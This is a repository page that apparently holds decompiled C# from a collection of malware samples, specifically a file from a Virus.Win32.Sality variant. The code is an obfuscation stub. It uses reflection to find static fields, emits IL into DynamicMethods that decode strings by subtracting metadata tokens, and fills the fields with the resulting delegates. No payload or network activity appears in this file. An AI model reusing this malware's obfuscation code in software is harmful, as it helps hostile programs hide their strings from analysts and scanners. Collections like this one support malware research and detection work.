MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0003.cs
2022-08-18 06:28:56 -05:00

97 lines
3.1 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0001;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Reflection.Emit;
namespace \u0001
{
internal static class \u0003
{
public static void \u0003()
{
StackFrame frame;
Type declaringType;
FieldInfo[] fields;
int index1;
FieldInfo fieldInfo;
Type[] typeArray;
DynamicMethod dynamicMethod;
ILGenerator ilGenerator;
MethodInfo[] methods;
int index2;
MethodInfo meth;
StackTrace stackTrace;
try
{
stackTrace = new StackTrace();
frame = stackTrace.GetFrame(1);
declaringType = frame.GetMethod().DeclaringType;
fields = declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField);
for (index1 = 0; index1 < fields.Length; ++index1)
{
fieldInfo = fields[index1];
try
{
if ((object) fieldInfo.FieldType == (object) typeof (\u0002))
{
string empty = string.Empty;
Type returnType = typeof (string);
typeArray = new Type[1]{ typeof (int) };
Type[] parameterTypes = typeArray;
Type owner = declaringType;
dynamicMethod = new DynamicMethod(empty, returnType, parameterTypes, owner, true);
ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
methods = typeof (\u0006).GetMethods(BindingFlags.Static | BindingFlags.Public);
for (index2 = 0; index2 < methods.Length; ++index2)
{
meth = methods[index2];
if ((object) meth.ReturnType == (object) typeof (string))
{
ilGenerator.Emit(OpCodes.Ldc_I4, fieldInfo.MetadataToken & 16777215);
ilGenerator.Emit(OpCodes.Sub);
ilGenerator.Emit(OpCodes.Call, meth);
break;
}
}
ilGenerator.Emit(OpCodes.Ret);
fieldInfo.SetValue((object) null, (object) (\u0002) dynamicMethod.CreateDelegate(typeof (\u0002)));
break;
}
}
catch
{
}
}
}
catch (Exception ex)
{
object[] objArray = new object[12]
{
(object) stackTrace,
(object) frame,
(object) declaringType,
(object) fieldInfo,
(object) dynamicMethod,
(object) ilGenerator,
(object) meth,
(object) fields,
(object) index1,
(object) typeArray,
(object) methods,
(object) index2
};
throw UnhandledException.\u0003(ex, objArray);
}
}
}
}